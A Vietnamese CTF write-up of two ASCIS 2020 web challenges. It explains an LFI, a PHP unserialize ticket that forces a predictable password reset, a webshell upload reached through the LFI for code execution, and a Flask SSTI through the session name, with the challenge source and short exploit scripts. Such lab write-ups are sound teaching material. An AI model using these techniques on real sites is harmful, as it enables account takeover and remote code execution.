--- title: ASCIS 2020 WRITEUP WEB CHALLENGES tags: ctf --- Sau vài hôm đi tổng hợp thì cuối cùng mình cũng tìm ra được source của 2 challenge ở svattt qual 2020. Ở vòng loại năm này thì có vẻ như có 4 challs: 2 challenge java về rmi thì đã có trên [github](https://github.com/tsug0d/LearnJavaVulnerability) của anh tsu (cả source + solution) vì vậy mình sẽ chỉ viết writeup cho 2 chall còn lại: `Among_us` và `Tsulott3`. Ở cuối mình sẽ bonus thêm source + link wu cho 2/3 challenges final round. # Among_us ## Setup Source code có thể tải ở [đây](https://github.com/asdcxsd/writeup-ctf/raw/master/docker-lamp.zip). Bài này thì có người đã build lại docker server rồi nên chỉ cần run thôi 🥰. À nhớ tạo thêm thư mục `crew_upload` trong thư mục `www` nhé không thì tí nữa sẽ bị báo lỗi. Một lưu ý nữa là tác giả chỉ tạo lại challenge dựa trên những file cần thiết nên sẽ không có một vài file như `crew.php`, `cafeteria.php` ... và không có hình 😗. ## Phân tích Phần lớn các trang khi truy cập vào đều hiển thị `Unauthorized` trừ `forgot.php` và `login.php`: ![](https://i.imgur.com/HITtJtJ.png) Điểm đáng chú ý nữa là ta có thể khai thác lỗi LFI ở `page` parameter: ![](https://i.imgur.com/ttEjA2s.png) => Làm tương tự như vậy để lấy hết source file về. `forgot.php` hiển thị ra cho ta một ô để nhập token và chức năng là dùng để reset password. ![](https://i.imgur.com/djYcyv3.png) Nhảy vào đọc source của nó, chú ý đoạn code php sau: ```php if(isset($_POST["ticket"]) && !empty($_POST["ticket"])) { if($_SESSION["form_token"]===$_POST["token"]) { unset($_SESSION['form_token']); $_SESSION["form_token"] = md5(uniqid(rand(), true)); $ticket = unserialize(base64_decode($_POST["ticket"])); //var_dump($ticket); //var_dump($ticket->name); $username = $ticket->name; $secret_number = $ticket->secret_number; $count = check_user_exists($conn, $username); if($count === 1) { if(check_length($secret_number, 9)) { $secret_number = strtoupper($secret_number); $secret_number = check_string($secret_number); $secret = get_secret($conn,$username); var_dump($secret_number); var_dump($secret); if($secret_number !== $secret) { print("Wrong secret!"); } else { print("OK, we will send you the new password");} print $secret_number; $random_rand = rand(0,$secret_number); srand($random_rand); $new_password = ""; while(strlen($new_password) < 30) { $new_password .= strval(rand()); } reset_password($conn, $username, $new_password); //to do: send mail the new password to the user, code later //print($new_password); } else { print("sai length"); print("<center>IMPOSTOR ALERT!!!!</center>"); } } else { //print $count; print("sai count"); } } else { print("sai token"); } } ``` `$ticket` sẽ được khôi phục lại từ `$_POST["ticket"]`. Sau đó lấy ra `name` và `secret_number` từ object này. Tìm kiếm một hồi thì biết được có thể nó là một instance tạo từ class CrewMate trong `lib.php`. ![](https://i.imgur.com/6oiMP3A.png) Tiếp theo là `check_user_exists()`, đòi hỏi username lấy từ `$ticket->name` phải tồn tại trong db. Suy ra ta cần có một username hợp lệ, cái này tác giả đã cung cấp trong `crew.php` và vì ta đã tự build lại challenge nên có thể tạo sẵn một vài user. Khi thỏa mãn điều kiện ở trên thì tiếp tục là kiểm tra `check_length($secret_number, 9)`, từ code của hàm này -> có thể truyền string, array ... miễn là thỏa = 9 ```php function check_length($input, $length) { return strlen($input)==$length || count($input)==$length || sizeof($input)==$length; } ``` Sau đó nữa là `strtoupper()`, `check_string()`, `get_secret()` ... và `reset_password()`. Tinh mắt một tí sẽ thấy rằng nếu điều kiện `$secret_number !== $secret` thỏa hay không thì đều thực hiện reset password. Mục đích của ta là làm sao để lấy được password sau khi được reset. Password này được tạo dựa trên `strval(rand())`, suy ra phải biết được `$random_rand` (đọc thêm về `srand()` ở [đây](https://www.php.net/manual/fr/function.srand.php)), `$random_rand` lại được tạo dựa trên `rand(0,$secret_number)`. Mà một điều thú vị là `rand(0,NULL)=0` và để cho nó xảy ra thì `strtoupper()` phải return NULL. => `secret_number` phải là một array. ![](https://i.imgur.com/kSLf7EL.png) và để thỏa điều kiện `check_length()` ở trên nữa thì array này cần 9 phần tử. ## Exploit Script tạo token: ```php= <?php class CrewMate { public $name; public $secret_number; } $cm = new CrewMate(); $cm -> name = "yellow"; $cm -> secret_number = range(1,9); echo base64_encode(serialize($cm)); ``` Gửi token để reset password: ![](https://i.imgur.com/tKS0GRf.png) Script để lấy password sau khi reset: ```php= $secret_number = NULL; $random_rand = rand(0, $secret_number); srand($random_rand); $new_password = ""; while(strlen($new_password) < 30) { $new_password .= strval(rand()); } print $new_password; //117856802212731241191535857466 ``` Login với `yellow:117856802212731241191535857466` ![](https://i.imgur.com/pvucW4f.png) Hiển thị như vầy nghĩa là đã thành công. Bây giờ ta chuyển sang page `electrical.php` Thử upload một file bình thường: ![](https://i.imgur.com/hnIOrBB.png) Trang web sẽ hiện ra thêm nút download, tên của file nằm trong file zip: `php0YStEz+test.txt` và sau khi Download, ta biết được luôn tên của file zip: ![](https://i.imgur.com/0IDhq7c.png) Bước cuối cùng là upload một webshell, sau đó sử dụng LFI ở `index.php` để RCE với `?page=/tmp/<new_web_shell_name>`. ![](https://i.imgur.com/P4BtzNe.png) Hmmm, sau một hồi mò mẫm thì có vẻ như flag không nằm ở các file trên server. Thử upload script để đọc flag từ database: ![](https://i.imgur.com/J1ZcreG.png) ![](https://i.imgur.com/iGaDBQi.png) P/S: Thú thật thì challenge này lúc mình đi mò tưởng không có source nên quyết định đi đọc writeup luôn, ai dè source code họ để ở cuối bài viết. Có thể coi như là mình viết lại để học hỏi từ wu của người ta 😢 bài viết gốc có thể xem tại [đây](https://asdcxsd.wordpress.com/2020/11/04/writeup-svattt2020-among-us/). --- # Tsulott3 ## Setup Down source ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Qual/tsulott3). ## Overview Build xong access tới <http://127.0.0.1:5000> ta có một trang để nhập tên: ![](https://i.imgur.com/QAv7MUE.png) Sau khi nhập xong ấn `Go` thì sẽ được chuyển hới tới một trang mới: ![](https://i.imgur.com/KMKnb7W.png) Yêu cầu ta nhập 6 con số, cóp nguyên cái example luôn cho lẹ 😁: ![](https://i.imgur.com/93zpeQX.png) Có vẻ như đoán sai rồi ~~~ Sau đó ta được redirect tới một trang reset access và lại redirect về trang ban đầu. ## Phân tích Bài này thì có vẻ là dễ thở hơn bài trước. Nhìn qua source code thì sẽ có 3 route `/`, `/guess`, `/reset_access`. 1. Route `/`: ```python @app.route("/", methods=["GET","POST"]) def index(): try: session.pop("name") session.pop("jackpot") except: pass if request.method == "POST": ok = request.form['ok'] session["name"] = request.form['name'] if ok == "Go": session["check"] = "access" jackpot = " ".join(str(x) for x in [ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99)]).strip() session["jackpot"] = jackpot return render_template_string("Generating jackpot...<script>setInterval(function(){ window.location='/guess'; }, 500);</script>") return render_template("start.html") ``` `try except` để lấy ra `name` và `jackpot` từ session. Nếu method là POST thì lấy ra `ok` và `name` từ POST request sau đó gán `name` cho `session["name"]`. Nếu `ok=="Go"` thì sẽ gán `session["check"] = "access"` tạo random một `jackpot` và gán vào `session["jackpot"]` và redirect tới `/guess`. 2. Route `/guess` ```python @app.route('/guess', methods=["GET","POST"]) def guess(): try: if check_session("check") == "": return render_template_string(cheat+check_session("name")) else: if request.method == "POST": jackpot_input = request.form['jackpot'] print(jackpot_input + "\n") print(check_session("jackpot")) if jackpot_input == check_session("jackpot"): mess = "Really? GG "+check_session("name")+", here your flag: ASCIS{xxxxxxxxxxxxxxxxxxxxxxxxx}" elif jackpot_input != check_session("jackpot"): mess = "May the Luck be with you next time!<script>setInterval(function(){ window.location='/reset_access'; }, 1200);</script>" return render_template_string(mess) return render_template("guess.html") except: pass return render_template_string(cheat+check_session("name")) ``` Ở route này đoạn cần chú ý là nó sẽ lấy `jackpot` từ POST request và so sánh với `jackbot` lưu trong session. Nếu thỏa thì sẽ lấy được flag ngược lại redirect đến `/reset_access`. 3. Route `/reset_access` ```python @app.route('/reset_access') def reset(): try: session.pop("check") return render_template_string("Reseting...<script>setInterval(function(){ window.location='/'; }, 500);</script>") except: pass return render_template_string(cheat+check_session("name")) ``` `try` lấy `check` từ trong `session` nếu có exception thì `pass` và `render_template_string(cheat+check_session("name"))`. Mình lợi dụng route này để perform ssti. ## Exploit Luồng khai thác sẽ như sau: - POST đến `/` với `name=<ssti payload>` và `ok="cc"` mục đích là để cho `session["name"] = <ssti payload>` và `jackpot` không được set random. - GET đến `/reset_access` để thực thi ssti payload (payload của mình là set cho `jackpot=to^&check=access`) - Cuối cùng là POST đến `/guess` với `jackpot=to^` ![](https://i.imgur.com/wPI3TRH.png) --- # Challenges ở final Ở final thì ngoài `mojarra_war` có 2 challenges nữa là `FADating`, `Instargram`. 2 challenge này cũng rất hay nhưng tiếc là mình không tìm được source hoàn chỉnh, chỉ có source cho player. Các bạn có thể tải ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Final), mình cũng đã đính kèm link writeup của từng challenge. ###### tags: ctf